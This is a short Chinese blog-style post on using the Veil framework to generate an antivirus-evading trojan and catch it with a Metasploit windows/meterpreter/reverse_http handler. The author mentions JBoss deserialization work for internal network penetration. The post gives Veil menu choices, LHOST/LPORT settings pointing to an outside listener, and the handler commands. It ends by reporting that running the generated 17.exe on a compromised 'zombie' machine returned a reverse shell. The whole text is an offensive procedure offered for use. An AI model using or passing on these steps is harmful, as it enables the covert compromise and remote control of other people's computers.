Veil过免杀

最近一直研究Jboss反序列化漏洞做内网渗透，可以用veil过很多杀软。
安装veil是个大坑，安装了好久才成功。。。
配合msfconsole使用。

生成木马

启动veil

use 1

use 5

设置IP地址和端口

set LHOST 124.226.*.*
set LPORT 11550
generate

输入生成木马的名称

启动msfconsole

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set LHOST 192.168.*.*       --我这是内网的，做了端口转发，所以IP地址不一样
set LPORT 11550
run

在肉鸡运行17.exe
反弹shell成功。